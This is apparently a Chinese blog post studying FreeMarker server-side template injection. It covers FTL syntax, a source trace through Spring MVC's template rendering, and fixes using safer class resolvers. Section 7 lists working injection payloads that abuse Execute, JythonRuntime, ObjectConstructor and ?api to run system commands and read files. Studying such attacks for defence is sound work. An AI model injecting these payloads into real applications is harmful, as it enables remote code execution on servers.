1.前情提要:
事情的起因在于某次红队中,看到一位大佬利用FreeMarker 模板注入从而达到了一个rce的效果,因为自己对这方面没有了解过,于是乎现在开始恶补一下~

2.基本介绍:
FreeMarker 是一款用 Java 编写的模板引擎,主要用于生成文本输出,像 HTML 网页、电子邮件、配置文件等都能生成。它并不依赖于 Servlet 或 Web 应用,既可以在 Web 环境中使用,也能在非 Web 环境下发挥作用。
FreeMarker Template Language也就是FTL是该模板中使用的模板语言,用于定义输出文本的结构和格式。它通过特定的语法标记将静态文本与动态数据结合,最终生成目标文本。
广泛应用于Java应用程序的视图层
3.基础知识:
FreeMarker拥有自己的模板编写规则并使用FTL表示,web.html.ftl就是一个FreeMarker模板文件,该文件有四个核心部分:
- 文本:固定的内容,会按原样输出
- 插值:使用${…} 语法来占位,尖括号中的内容在经过计算和替换后才会输出
- FTL指令:类似于HTML的标签语法,通过<#xxx … >来实现各种特殊功能,比如:<#list elements as element>实现循环输出
- 注释:注释中的内容不会输出,和html的注释类似
demo演示
1 | <!DOCTYPE html> |
4.语法知识:
<1>变量插入
使用${}来插入变量或者表达式的值
1 | ${Zephyr} |
<2>控制结构
使用 <#if><#else><#list>等来控制逻辑流
1 | <#if condition> |
<3>变量赋值
<#assign>是用来定义和赋值变量的指令,允许开发人员将一个表达式的结果存储到另一个变量当中去
1 | <#assign greeting = "Hello, world!"> |
<4>循环遍历
使用<#list>遍历集合
1 | <#list items as item> |
<5>宏定义类
使用<#macro>标签定义一个宏
1 | <#macro greet name> |
通过<@macroName>调用它
1 | <@greet "Zephyr" /> |
同样宏不止可以定义一个参数
1 | #定义宏 |
<6>条件判断
FreeMarker提供了条件判断结构,用于根据特定条件执行不同的操作:
1 | <#if age >= 18> |
<7>循环遍历
借助<#list>指令,能够对集合或数组进行遍历操作。
- 遍历列表
1 | <#assign cities = ["北京", "上海", "广州", "深圳"]> |
- 使用索引
利用?index能够获取当前项的索引,索引是从 0 开始计数的。
1 | <#list cities as city> |
<8>包含导入
FreeMarker 支持从别的文件导入模板或者包含代码片段
- include 指令
运用include可以把其他模板包含到当前模板之中
1 | <#include "footer.ftl"> |
- import 指令
通过import能够引入其他模板里的宏
1 | <#import "utils.ftl" as utils> |
<9>错误处理
FreeMarker 提供了一种灵活的方式来处理错误,即通过??操作符检查变量是否存在。
- 检查变量是否存在
1 | <#if email??> |
- 默认值
使用!符号可以为变量提供默认值。
1 | 欢迎 ${username!"访客"} 登录系统 |
<10>组合嵌套
FreeMarker 允许将函数和控制结构嵌套使用,以此来实现更复杂的逻辑和数据展示。
1 | <#assign products = [ |
<11>内置函数⭐
new
?new内置函数是模板注入中非常重要的一个函数,可以创建任意实现了TemplateModel接口的java对象(并且调用该类的构造方法)
以及触发没有实现templatemodel接口的类的静态初始化块
两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的
freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute(同前情提要)
API
value?api 提供对value的api(Java api)的访问,可通过getclassloader获取类加载器进而加载恶意类,或者也可以通过getResource来实现任意文件读取
⭐注:该函数只有在api_builtin_enabled为true时才可使用,而该配置在2.3.22版本之后默认为false
5.漏洞复现:

6.源码分析:
这里分为两部分,一是获取模板,二是解析模板,漏洞成因在解析模板处,所以获取模板的过程我就不详细写了,大家自己跟一下也可以看懂
6.1获取模板
因为在 Spring Boot 应用里,所有 HTTP 请求首先会经过DispatcherServlet进行处理。作为 Spring MVC 框架的核心前端控制器,DispatcherServlet 负责接收请求,并依据请求的路径、方法等信息,把请求分发给对应的处理器(Controller)
1 | org.springframework.web.servlet.DispatcherServlet #doDispatch() –> |
6.2解析模板
咱们回到org.springframework.web.servlet.DispatcherServlet#render()方法中,resolveViewName()加载模板文件后使用view.render()对模板进行解析

最终会调用到org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender()中来

我们跟到processTemplate方法中去

在跟到process中去

我们再跟到下一个process方法中去(前面返回了Environment 类,所以后面就调用 Environment#process())

这段代码我们好好读一下
1 | public void process() throws TemplateException, IOException { |
跟到visit方法中看一下,发现他对ftl文件进行了一次遍历,若是读取到一条freemaker表达式,就回调visit方法去调用accept方法,跟入

freemarker.core.Assignment#accept() 判断 namespaceExp 是否为 null,接着判断 this.operatorType 是否等于 65536,跟进 eval() 方法
(我知道这里大家在跟的时候肯定有问题,别急,下面会有答案)

然后判断 constantValue 是否为 null,此处 constantValue 为 null,调用 _eval()

然后exec也就到了真正能执行代码的时候

这里因为elemet还是<#assign value=”freemarker.template.utility.Execute”?new()>,所以还没弹计算器,只要再次遍历html中的ftl语句到后面的${value(“Calc”)}就成功rce了
⭐注:
这里有人就会说上面我在跟的时候,accept函数并不是你贴的图那样,这里就要提到上面我提到的一句话:
在这里他会一直去遍历你ftl文件中的内容,所以你最初调试跟进去的accept函数是还没有到ftl语句的普通HTML语言,他就不会去调用我所展示的那一串代码,所以你需要多点几次,直到看到element的内容变成了ftl语言,这时候跟进accept就是想要的结果了

7.漏洞利用:
?new()函数
freemarker.template.utility.JythonRuntime:
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value> |
freemarker.template.utility.Execute:
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("id")} |
?api()函数
POC1
1 | <#assign classLoader=object?api.class.protectionDomain.classLoader> |
POC2
1 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()} |
POC3
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe") |
POC4
1 | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") } |
读取文件
1 | <#assign is=object?api.class.getResourceAsStream("/Test.class")> |
8.漏洞修复:
从 FreeMarker 2.3.17 版本开始,官方版本提供了三种不同的TemplateClassResolver实现类,用于控制通过new()函数创建类实例时的安全性:
- UNRESTRICTED_RESOLVER:无限制解析器
- 允许通过
ClassUtil.forName(className)反射加载任意 Java 类 - 存在一定安全风险,可能被用于执行任意代码
- SAFER_RESOLVER:安全解析器(推荐生产环境使用)
默认禁止加载以下高危类:
freemarker.template.utility.JythonRuntime(Jython 执行引擎)freemarker.template.utility.Execute(系统命令执行器)freemarker.template.utility.ObjectConstructor(任意类构造器)有效防范常见的代码注入攻击
- ALLOWS_NOTHING_RESOLVER:禁用解析器
- 完全禁止通过
new()函数创建任何类实例 - 适用于对安全性要求极高的场景
- 当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false